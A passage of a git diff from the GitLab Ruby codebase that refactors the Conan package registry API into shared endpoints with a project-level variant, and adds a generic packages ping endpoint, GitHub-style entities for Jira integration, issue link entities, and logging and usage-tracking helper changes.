+ namespace 'conans/:package_name/:package_version/:package_username/:package_channel', requirements: PACKAGE_REQUIREMENTS do
+ # Get the snapshot
+ #
+ # the snapshot is a hash of { filename: md5 hash }
+ # md5 hash is the has of that file. This hash is used to diff the files existing on the client
+ # to determine which client files need to be uploaded if no recipe exists the snapshot is empty
+ desc 'Package Snapshot' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ params do
+ requires :conan_package_reference, type: String, desc: 'Conan package ID'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'packages/:conan_package_reference' do
+ authorize!(:read_package, project)
+
+ presenter = ::Packages::Conan::PackagePresenter.new(
+ package,
+ current_user,
+ project,
+ conan_package_reference: params[:conan_package_reference]
+ )
+
+ present presenter, with: ::API::Entities::ConanPackage::ConanPackageSnapshot
+ end
+
+ desc 'Recipe Snapshot' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get do
+ authorize!(:read_package, project)
+
+ presenter = ::Packages::Conan::PackagePresenter.new(package, current_user, project)
+
+ present presenter, with: ::API::Entities::ConanPackage::ConanRecipeSnapshot
+ end
+
+ # Get the manifest
+ # returns the download urls for the existing recipe in the registry
+ #
+ # the manifest is a hash of { filename: url }
+ # where the url is the download url for the file
+ desc 'Package Digest' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+ params do
+ requires :conan_package_reference, type: String, desc: 'Conan package ID'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'packages/:conan_package_reference/digest' do
+ present_package_download_urls
+ end
+
+ desc 'Recipe Digest' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'digest' do
+ present_recipe_download_urls
+ end
+
+ # Get the download urls
+ #
+ # returns the download urls for the existing recipe or package in the registry
+ #
+ # the manifest is a hash of { filename: url }
+ # where the url is the download url for the file
+ desc 'Package Download Urls' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ params do
+ requires :conan_package_reference, type: String, desc: 'Conan package ID'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'packages/:conan_package_reference/download_urls' do
+ present_package_download_urls
+ end
+
+ desc 'Recipe Download Urls' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'download_urls' do
+ present_recipe_download_urls
+ end
+
+ # Get the upload urls
+ #
+ # request body contains { filename: filesize } where the filename is the
+ # name of the file the conan client is requesting to upload
+ #
+ # returns { filename: url }
+ # where the url is the upload url for the file that the conan client will use
+ desc 'Package Upload Urls' do
+ detail 'This feature was introduced in GitLab 12.4'
+ end
+
+ params do
+ requires :conan_package_reference, type: String, desc: 'Conan package ID'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ post 'packages/:conan_package_reference/upload_urls' do
+ authorize!(:read_package, project)
+
+ status 200
+ present package_upload_urls, with: ::API::Entities::ConanPackage::ConanUploadUrls
+ end
+
+ desc 'Recipe Upload Urls' do
+ detail 'This feature was introduced in GitLab 12.4'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ post 'upload_urls' do
+ authorize!(:read_package, project)
+
+ status 200
+ present recipe_upload_urls, with: ::API::Entities::ConanPackage::ConanUploadUrls
+ end
+
+ desc 'Delete Package' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ delete do
+ authorize!(:destroy_package, project)
+
+ package_event('delete_package', category: 'API::ConanPackages')
+
+ package.destroy
+ end
+ end
+
+ params do
+ requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name'
+ requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version'
+ requires :package_username, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package username'
+ requires :package_channel, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package channel'
+ requires :recipe_revision, type: String, regexp: CONAN_REVISION_REGEX, desc: 'Conan Recipe Revision'
+ end
+ namespace 'files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision', requirements: PACKAGE_REQUIREMENTS do
+ before do
+ authenticate_non_get!
+ end
+
+ params do
+ requires :file_name, type: String, desc: 'Package file name', values: CONAN_FILES
+ end
+ namespace 'export/:file_name', requirements: FILE_NAME_REQUIREMENTS do
+ desc 'Download recipe files' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get do
+ download_package_file(:recipe_file)
+ end
+
+ desc 'Upload recipe package files' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ params do
+ requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ put do
+ upload_package_file(:recipe_file)
+ end
+
+ desc 'Workhorse authorize the conan recipe file' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ put 'authorize' do
+ authorize_workhorse!(subject: project, maximum_size: project.actual_limits.conan_max_file_size)
+ end
+ end
+
+ params do
+ requires :conan_package_reference, type: String, desc: 'Conan Package ID'
+ requires :package_revision, type: String, desc: 'Conan Package Revision'
+ requires :file_name, type: String, desc: 'Package file name', values: CONAN_FILES
+ end
+ namespace 'package/:conan_package_reference/:package_revision/:file_name', requirements: FILE_NAME_REQUIREMENTS do
+ desc 'Download package files' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get do
+ download_package_file(:package_file)
+ end
+
+ desc 'Workhorse authorize the conan package file' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ put 'authorize' do
+ authorize_workhorse!(subject: project, maximum_size: project.actual_limits.conan_max_file_size)
+ end
+
+ desc 'Upload package files' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ params do
+ requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ put do
+ upload_package_file(:package_file)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/conan_packages.rb b/lib/api/conan_packages.rb
deleted file mode 100644
index 7f2afea9931..00000000000
--- a/lib/api/conan_packages.rb
+++ /dev/null
@@ -1,351 +0,0 @@
-# frozen_string_literal: true
-
-# Conan Package Manager Client API
-#
-# These API endpoints are not consumed directly by users, so there is no documentation for the
-# individual endpoints. They are called by the Conan package manager client when users run commands
-# like `conan install` or `conan upload`. The usage of the GitLab Conan repository is documented here:
-# https://docs.gitlab.com/ee/user/packages/conan_repository/#installing-a-package
-#
-# Technical debt: https://gitlab.com/gitlab-org/gitlab/issues/35798
-module API
- class ConanPackages < Grape::API::Instance
- helpers ::API::Helpers::PackagesManagerClientsHelpers
-
- PACKAGE_REQUIREMENTS = {
- package_name: API::NO_SLASH_URL_PART_REGEX,
- package_version: API::NO_SLASH_URL_PART_REGEX,
- package_username: API::NO_SLASH_URL_PART_REGEX,
- package_channel: API::NO_SLASH_URL_PART_REGEX
- }.freeze
-
- FILE_NAME_REQUIREMENTS = {
- file_name: API::NO_SLASH_URL_PART_REGEX
- }.freeze
-
- PACKAGE_COMPONENT_REGEX = Gitlab::Regex.conan_recipe_component_regex
- CONAN_REVISION_REGEX = Gitlab::Regex.conan_revision_regex
-
- CONAN_FILES = (Gitlab::Regex::Packages::CONAN_RECIPE_FILES + Gitlab::Regex::Packages::CONAN_PACKAGE_FILES).freeze
-
- before do
- require_packages_enabled!
-
- # Personal access token will be extracted from Bearer or Basic authorization
- # in the overridden find_personal_access_token or find_user_from_job_token helpers
- authenticate!
- end
-
- namespace 'packages/conan/v1' do
- desc 'Ping the Conan API' do
- detail 'This feature was introduced in GitLab 12.2'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'ping' do
- header 'X-Conan-Server-Capabilities', [].join(',')
- end
-
- desc 'Search for packages' do
- detail 'This feature was introduced in GitLab 12.4'
- end
-
- params do
- requires :q, type: String, desc: 'Search query'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'conans/search' do
- service = ::Packages::Conan::SearchService.new(current_user, query: params[:q]).execute
- service.payload
- end
-
- namespace 'users' do
- format :txt
-
- desc 'Authenticate user against conan CLI' do
- detail 'This feature was introduced in GitLab 12.2'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'authenticate' do
- unauthorized! unless token
-
- token.to_jwt
- end
-
- desc 'Check for valid user credentials per conan CLI' do
- detail 'This feature was introduced in GitLab 12.4'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'check_credentials' do
- authenticate!
- :ok
- end
- end
-
- params do
- requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name'
- requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version'
- requires :package_username, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package username'
- requires :package_channel, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package channel'
- end
- namespace 'conans/:package_name/:package_version/:package_username/:package_channel', requirements: PACKAGE_REQUIREMENTS do
- # Get the snapshot
- #
- # the snapshot is a hash of { filename: md5 hash }
- # md5 hash is the has of that file. This hash is used to diff the files existing on the client
- # to determine which client files need to be uploaded if no recipe exists the snapshot is empty
- desc 'Package Snapshot' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- params do
- requires :conan_package_reference, type: String, desc: 'Conan package ID'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'packages/:conan_package_reference' do
- authorize!(:read_package, project)
-
- presenter = ::Packages::Conan::PackagePresenter.new(
- recipe,
- current_user,
- project,
- conan_package_reference: params[:conan_package_reference]
- )
-
- present presenter, with: ::API::Entities::ConanPackage::ConanPackageSnapshot
- end
-
- desc 'Recipe Snapshot' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get do
- authorize!(:read_package, project)
-
- presenter = ::Packages::Conan::PackagePresenter.new(recipe, current_user, project)
-
- present presenter, with: ::API::Entities::ConanPackage::ConanRecipeSnapshot
- end
-
- # Get the manifest
- # returns the download urls for the existing recipe in the registry
- #
- # the manifest is a hash of { filename: url }
- # where the url is the download url for the file
- desc 'Package Digest' do
- detail 'This feature was introduced in GitLab 12.5'
- end
- params do
- requires :conan_package_reference, type: String, desc: 'Conan package ID'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'packages/:conan_package_reference/digest' do
- present_package_download_urls
- end
-
- desc 'Recipe Digest' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'digest' do
- present_recipe_download_urls
- end
-
- # Get the download urls
- #
- # returns the download urls for the existing recipe or package in the registry
- #
- # the manifest is a hash of { filename: url }
- # where the url is the download url for the file
- desc 'Package Download Urls' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- params do
- requires :conan_package_reference, type: String, desc: 'Conan package ID'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'packages/:conan_package_reference/download_urls' do
- present_package_download_urls
- end
-
- desc 'Recipe Download Urls' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get 'download_urls' do
- present_recipe_download_urls
- end
-
- # Get the upload urls
- #
- # request body contains { filename: filesize } where the filename is the
- # name of the file the conan client is requesting to upload
- #
- # returns { filename: url }
- # where the url is the upload url for the file that the conan client will use
- desc 'Package Upload Urls' do
- detail 'This feature was introduced in GitLab 12.4'
- end
-
- params do
- requires :conan_package_reference, type: String, desc: 'Conan package ID'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- post 'packages/:conan_package_reference/upload_urls' do
- authorize!(:read_package, project)
-
- status 200
- present package_upload_urls, with: ::API::Entities::ConanPackage::ConanUploadUrls
- end
-
- desc 'Recipe Upload Urls' do
- detail 'This feature was introduced in GitLab 12.4'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- post 'upload_urls' do
- authorize!(:read_package, project)
-
- status 200
- present recipe_upload_urls, with: ::API::Entities::ConanPackage::ConanUploadUrls
- end
-
- desc 'Delete Package' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- delete do
- authorize!(:destroy_package, project)
-
- track_event('delete_package')
-
- package.destroy
- end
- end
-
- params do
- requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name'
- requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version'
- requires :package_username, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package username'
- requires :package_channel, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package channel'
- requires :recipe_revision, type: String, regexp: CONAN_REVISION_REGEX, desc: 'Conan Recipe Revision'
- end
- namespace 'files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision', requirements: PACKAGE_REQUIREMENTS do
- before do
- authenticate_non_get!
- end
-
- params do
- requires :file_name, type: String, desc: 'Package file name', values: CONAN_FILES
- end
- namespace 'export/:file_name', requirements: FILE_NAME_REQUIREMENTS do
- desc 'Download recipe files' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get do
- download_package_file(:recipe_file)
- end
-
- desc 'Upload recipe package files' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- params do
- requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- put do
- upload_package_file(:recipe_file)
- end
-
- desc 'Workhorse authorize the conan recipe file' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- put 'authorize' do
- authorize_workhorse!(subject: project)
- end
- end
-
- params do
- requires :conan_package_reference, type: String, desc: 'Conan Package ID'
- requires :package_revision, type: String, desc: 'Conan Package Revision'
- requires :file_name, type: String, desc: 'Package file name', values: CONAN_FILES
- end
- namespace 'package/:conan_package_reference/:package_revision/:file_name', requirements: FILE_NAME_REQUIREMENTS do
- desc 'Download package files' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get do
- download_package_file(:package_file)
- end
-
- desc 'Workhorse authorize the conan package file' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- put 'authorize' do
- authorize_workhorse!(subject: project)
- end
-
- desc 'Upload package files' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- params do
- requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- put do
- upload_package_file(:package_file)
- end
- end
- end
- end
-
- helpers do
- include Gitlab::Utils::StrongMemoize
- include ::API::Helpers::RelatedResourcesHelpers
- include ::API::Helpers::Packages::Conan::ApiHelpers
- end
- end
-end
diff --git a/lib/api/conan_project_packages.rb b/lib/api/conan_project_packages.rb
new file mode 100644
index 00000000000..c51992231a7
--- /dev/null
+++ b/lib/api/conan_project_packages.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+# Conan Project-Level Package Manager Client API
+module API
+ class ConanProjectPackages < Grape::API::Instance
+ params do
+ requires :id, type: Integer, desc: 'The ID of a project', regexp: %r{\A[1-9]\d*\z}
+ end
+
+ resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
+ namespace ':id/packages/conan/v1' do
+ include ConanPackageEndpoints
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/issue_link.rb b/lib/api/entities/issue_link.rb
new file mode 100644
index 00000000000..8e24b046325
--- /dev/null
+++ b/lib/api/entities/issue_link.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ class IssueLink < Grape::Entity
+ expose :source, as: :source_issue, using: ::API::Entities::IssueBasic
+ expose :target, as: :target_issue, using: ::API::Entities::IssueBasic
+ expose :link_type
+ end
+ end
+end
diff --git a/lib/api/entities/milestone.rb b/lib/api/entities/milestone.rb
index 5a0c222d691..b191210a234 100644
--- a/lib/api/entities/milestone.rb
+++ b/lib/api/entities/milestone.rb
@@ -10,6 +10,7 @@ module API
expose :state, :created_at, :updated_at
expose :due_date
expose :start_date
+ expose :expired?, as: :expired
expose :web_url do |milestone, _options|
Gitlab::UrlBuilder.build(milestone)
diff --git a/lib/api/entities/package.rb b/lib/api/entities/package.rb
index 670965b225c..d903f50befa 100644
--- a/lib/api/entities/package.rb
+++ b/lib/api/entities/package.rb
@@ -28,7 +28,7 @@ module API
expose :pipeline, if: ->(package) { package.build_info }, using: Package::Pipeline
- expose :versions, using: ::API::Entities::PackageVersion
+ expose :versions, using: ::API::Entities::PackageVersion, unless: ->(_, opts) { opts[:collection] }
private
diff --git a/lib/api/entities/related_issue.rb b/lib/api/entities/related_issue.rb
new file mode 100644
index 00000000000..491c606bd49
--- /dev/null
+++ b/lib/api/entities/related_issue.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ class RelatedIssue < ::API::Entities::Issue
+ expose :issue_link_id
+ expose :issue_link_type, as: :link_type
+ end
+ end
+end
diff --git a/lib/api/generic_packages.rb b/lib/api/generic_packages.rb
new file mode 100644
index 00000000000..98b8a40c7c9
--- /dev/null
+++ b/lib/api/generic_packages.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module API
+ class GenericPackages < Grape::API::Instance
+ before do
+ require_packages_enabled!
+ authenticate!
+
+ require_generic_packages_available!
+ end
+
+ params do
+ requires :id, type: String, desc: 'The ID of a project'
+ end
+
+ resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
+ route_setting :authentication, job_token_allowed: true
+
+ namespace ':id/packages/generic' do
+ get 'ping' do
+ :pong
+ end
+ end
+ end
+
+ helpers do
+ include ::API::Helpers::PackagesHelpers
+
+ def require_generic_packages_available!
+ not_found! unless Feature.enabled?(:generic_packages, user_project)
+ end
+ end
+ end
+end
diff --git a/lib/api/github/entities.rb b/lib/api/github/entities.rb
new file mode 100644
index 00000000000..c28a0b8eb7e
--- /dev/null
+++ b/lib/api/github/entities.rb
@@ -0,0 +1,217 @@
+# frozen_string_literal: true
+
+# Simplified version of Github API entities.
+# It's mainly used to mimic Github API and integrate with Jira Development Panel.
+#
+module API
+ module Github
+ module Entities
+ class Repository < Grape::Entity
+ expose :id
+ expose :owner do |project, options|
+ root_namespace = options[:root_namespace] || project.root_namespace
+
+ { login: root_namespace.path }
+ end
+ expose :name do |project, options|
+ ::Gitlab::Jira::Dvcs.encode_project_name(project)
+ end
+ end
+
+ class BranchCommit < Grape::Entity
+ expose :id, as: :sha
+ expose :type do |_|
+ 'commit'
+ end
+ end
+
+ class RepoCommit < Grape::Entity
+ expose :id, as: :sha
+ expose :author do |commit|
+ {
+ login: commit.author&.username,
+ email: commit.author_email
+ }
+ end
+ expose :committer do |commit|
+ {
+ login: commit.author&.username,
+ email: commit.committer_email
+ }
+ end
+ expose :commit do |commit|
+ {
+ author: {
+ name: commit.author_name,
+ email: commit.author_email,
+ date: commit.authored_date.iso8601,
+ type: 'User'
+ },
+ committer: {
+ name: commit.committer_name,
+ email: commit.committer_email,
+ date: commit.committed_date.iso8601,
+ type: 'User'
+ },
+ message: commit.safe_message
+ }
+ end
+ expose :parents do |commit|
+ commit.parent_ids.map { |id| { sha: id } }
+ end
+ expose :files do |commit|
+ commit.diffs.diff_files.flat_map do |diff|
+ additions = diff.added_lines
+ deletions = diff.removed_lines
+
+ if diff.new_file?
+ {
+ status: 'added',
+ filename: diff.new_path,
+ additions: additions,
+ changes: additions
+ }
+ elsif diff.deleted_file?
+ {
+ status: 'removed',
+ filename: diff.old_path,
+ deletions: deletions,
+ changes: deletions
+ }
+ elsif diff.renamed_file?
+ [
+ {
+ status: 'removed',
+ filename: diff.old_path,
+ deletions: deletions,
+ changes: deletions
+ },
+ {
+ status: 'added',
+ filename: diff.new_path,
+ additions: additions,
+ changes: additions
+ }
+ ]
+ else
+ {
+ status: 'modified',
+ filename: diff.new_path,
+ additions: additions,
+ deletions: deletions,
+ changes: (additions + deletions)
+ }
+ end
+ end
+ end
+ end
+
+ class Branch < Grape::Entity
+ expose :name
+
+ expose :commit, using: BranchCommit do |repo_branch, options|
+ options[:project].repository.commit(repo_branch.dereferenced_target)
+ end
+ end
+
+ class User < Grape::Entity
+ expose :id
+ expose :username, as: :login
+ expose :user_url, as: :url
+ expose :user_url, as: :html_url
+ expose :avatar_url
+
+ private
+
+ def user_url
+ Gitlab::Routing.url_helpers.user_url(object)
+ end
+ end
+
+ class NoteableComment < Grape::Entity
+ expose :id
+ expose :author, as: :user, using: User
+ expose :note, as: :body
+ expose :created_at
+ end
+
+ class PullRequest < Grape::Entity
+ expose :title
+ expose :assignee, using: User do |merge_request|
+ merge_request.assignee
+ end
+ expose :author, as: :user, using: User
+ expose :created_at
+ expose :description, as: :body
+ # Since Jira service requests `/repos/-/jira/pulls` (without project
+ # scope), we need to make it work with ID instead IID.
+ expose :id, as: :number
+ # GitHub doesn't have a "merged" or "closed" state. It's just "open" or
+ # "closed".
+ expose :state do |merge_request|
+ case merge_request.state
+ when 'opened', 'locked'
+ 'open'
+ when 'merged'
+ 'closed'
+ else
+ merge_request.state
+ end
+ end
+ expose :merged?, as: :merged
+ expose :merged_at do |merge_request|
+ merge_request.metrics&.merged_at
+ end
+ expose :closed_at do |merge_request|
+ merge_request.metrics&.latest_closed_at
+ end
+ expose :updated_at
+ expose :html_url do |merge_request|
+ Gitlab::UrlBuilder.build(merge_request)
+ end
+ expose :head do
+ expose :source_branch, as: :label
+ expose :source_branch, as: :ref
+ expose :source_project, as: :repo, using: Repository
+ end
+ expose :base do
+ expose :target_branch, as: :label
+ expose :target_branch, as: :ref
+ expose :target_project, as: :repo, using: Repository
+ end
+ end
+
+ class PullRequestPayload < Grape::Entity
+ expose :action do |merge_request|
+ case merge_request.state
+ when 'merged', 'closed'
+ 'closed'
+ else
+ 'opened'
+ end
+ end
+
+ expose :id
+ expose :pull_request, using: PullRequest do |merge_request|
+ merge_request
+ end
+ end
+
+ class PullRequestEvent < Grape::Entity
+ expose :id do |merge_request|
+ updated_at = merge_request.updated_at.to_i
+ "#{merge_request.id}-#{updated_at}"
+ end
+ expose :type do |_merge_request|
+ 'PullRequestEvent'
+ end
+ expose :updated_at, as: :created_at
+ expose :payload, using: PullRequestPayload do |merge_request|
+ # The merge request data is used by PullRequestPayload and PullRequest, so we just provide it
+ # here. Otherwise Grape::Entity would try to access a field "payload" on Merge Request.
+ merge_request
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/helpers.rb b/lib/api/helpers.rb
index 599d5bd0baf..1912a06682e 100644
--- a/lib/api/helpers.rb
+++ b/lib/api/helpers.rb
@@ -532,11 +532,29 @@ module API
::Gitlab::Tracking.event(category, action.to_s, **args)
rescue => error
- Rails.logger.warn( # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn(
"Tracking event failed for action: #{action}, category: #{category}, message: #{error.message}"
)
end
+ # @param event_name [String] the event name
+ # @param values [Array|String] the values counted
+ def increment_unique_values(event_name, values)
+ return unless values.present?
+
+ feature_name = "usage_data_#{event_name}"
+ return unless Feature.enabled?(feature_name)
+ return unless Gitlab::CurrentSettings.usage_ping_enabled?
+
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(values, event_name)
+ rescue => error
+ Gitlab::AppLogger.warn("Redis tracking event failed for event: #{event_name}, message: #{error.message}")
+ end
+
+ def with_api_params(&block)
+ yield({ api: true, request: request })
+ end
+
protected
def project_finder_params_visibility_ce
diff --git a/lib/api/helpers/internal_helpers.rb b/lib/api/helpers/internal_helpers.rb
index b7ce1eba3f9..69b53ea6c2f 100644
--- a/lib/api/helpers/internal_helpers.rb
+++ b/lib/api/helpers/internal_helpers.rb
@@ -67,7 +67,7 @@ module API
result == 'PONG'
rescue => e
- Rails.logger.warn("GitLab: An unexpected error occurred in pinging to Redis: #{e}") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn("GitLab: An unexpected error occurred in pinging to Redis: #{e}")
false
end
diff --git a/lib/api/helpers/packages/conan/api_helpers.rb b/lib/api/helpers/packages/conan/api_helpers.rb
index 1161d1386bb..dcbf933a4e1 100644
--- a/lib/api/helpers/packages/conan/api_helpers.rb
+++ b/lib/api/helpers/packages/conan/api_helpers.rb
@@ -5,11 +5,13 @@ module API
module Packages
module Conan
module ApiHelpers
+ include Gitlab::Utils::StrongMemoize
+
def present_download_urls(entity)
authorize!(:read_package, project)
presenter = ::Packages::Conan::PackagePresenter.new(
- recipe,
+ package,
current_user,
project,
conan_package_reference: params[:conan_package_reference]
@@ -31,7 +33,7 @@ module API
def recipe_upload_urls
{ upload_urls: Hash[
file_names.select(&method(:recipe_file?)).map do |file_name|
- [file_name, recipe_file_upload_url(file_name)]
+ [file_name, build_recipe_file_upload_url(file_name)]
end
] }
end
@@ -39,7 +41,7 @@ module API
def package_upload_urls
{ upload_urls: Hash[
file_names.select(&method(:package_file?)).map do |file_name|
- [file_name, package_file_upload_url(file_name)]
+ [file_name, build_package_file_upload_url(file_name)]
end
] }
end
@@ -52,32 +54,58 @@ module API
file_name.in?(::Packages::Conan::FileMetadatum::PACKAGE_FILES)
end
- def package_file_upload_url(file_name)
- expose_url(
- api_v4_packages_conan_v1_files_package_path(
- package_name: params[:package_name],
- package_version: params[:package_version],
- package_username: params[:package_username],
- package_channel: params[:package_channel],
- recipe_revision: '0',
- conan_package_reference: params[:conan_package_reference],
- package_revision: '0',
- file_name: file_name
- )
+ def build_package_file_upload_url(file_name)
+ options = url_options(file_name).merge(
+ conan_package_reference: params[:conan_package_reference],
+ package_revision: ::Packages::Conan::FileMetadatum::DEFAULT_PACKAGE_REVISION
)
+
+ package_file_url(options)
+ end
+
+ def build_recipe_file_upload_url(file_name)
+ recipe_file_url(url_options(file_name))
end
- def recipe_file_upload_url(file_name)
- expose_url(
- api_v4_packages_conan_v1_files_export_path(
- package_name: params[:package_name],
- package_version: params[:package_version],
- package_username: params[:package_username],
- package_channel: params[:package_channel],
- recipe_revision: '0',
- file_name: file_name
+ def url_options(file_name)
+ {
+ package_name: params[:package_name],
+ package_version: params[:package_version],
+ package_username: params[:package_username],
+ package_channel: params[:package_channel],
+ file_name: file_name,
+ recipe_revision: ::Packages::Conan::FileMetadatum::DEFAULT_RECIPE_REVISION
+ }
+ end
+
+ def package_file_url(options)
+ case package_scope
+ when :project
+ expose_url(
+ api_v4_projects_packages_conan_v1_files_package_path(
+ options.merge(id: project.id)
+ )
)
- )
+ when :instance
+ expose_url(
+ api_v4_packages_conan_v1_files_package_path(options)
+ )
+ end
+ end
+
+ def recipe_file_url(options)
+ case package_scope
+ when :project
+ expose_url(
+ api_v4_projects_packages_conan_v1_files_export_path(
+ options.merge(id: project.id)
+ )
+ )
+ when :instance
+ expose_url(
+ api_v4_packages_conan_v1_files_export_path(options)
+ )
+ end
end
def recipe
@@ -86,16 +114,23 @@ module API
def project
strong_memoize(:project) do
- full_path = ::Packages::Conan::Metadatum.full_path_from(package_username: params[:package_username])
- Project.find_by_full_path(full_path)
+ case package_scope
+ when :project
+ find_project!(params[:id])
+ when :instance
+ full_path = ::Packages::Conan::Metadatum.full_path_from(package_username: params[:package_username])
+ find_project!(full_path)
+ end
end
end
def package
strong_memoize(:package) do
project.packages
+ .conan
.with_name(params[:package_name])
.with_version(params[:package_version])
+ .with_conan_username(params[:package_username])
.with_conan_channel(params[:package_channel])
.order_created
.last
@@ -123,7 +158,7 @@ module API
conan_package_reference: params[:conan_package_reference]
).execute!
- track_event('pull_package') if params[:file_name] == ::Packages::Conan::FileMetadatum::PACKAGE_BINARY
+ package_event('pull_package', category: 'API::ConanPackages') if params[:file_name] == ::Packages::Conan::FileMetadatum::PACKAGE_BINARY
present_carrierwave_file!(package_file.file)
end
@@ -134,7 +169,7 @@ module API
def track_push_package_event
if params[:file_name] == ::Packages::Conan::FileMetadatum::PACKAGE_BINARY && params[:file].size > 0 # rubocop: disable Style/ZeroLengthPredicate
- track_event('push_package')
+ package_event('push_package', category: 'API::ConanPackages')
end
end
@@ -155,6 +190,7 @@ module API
def upload_package_file(file_type)
authorize_upload!(project)
+ bad_request!('File is too large') if project.actual_limits.exceeded?(:conan_max_file_size, params['file.size'].to_i)
current_package = find_or_create_package
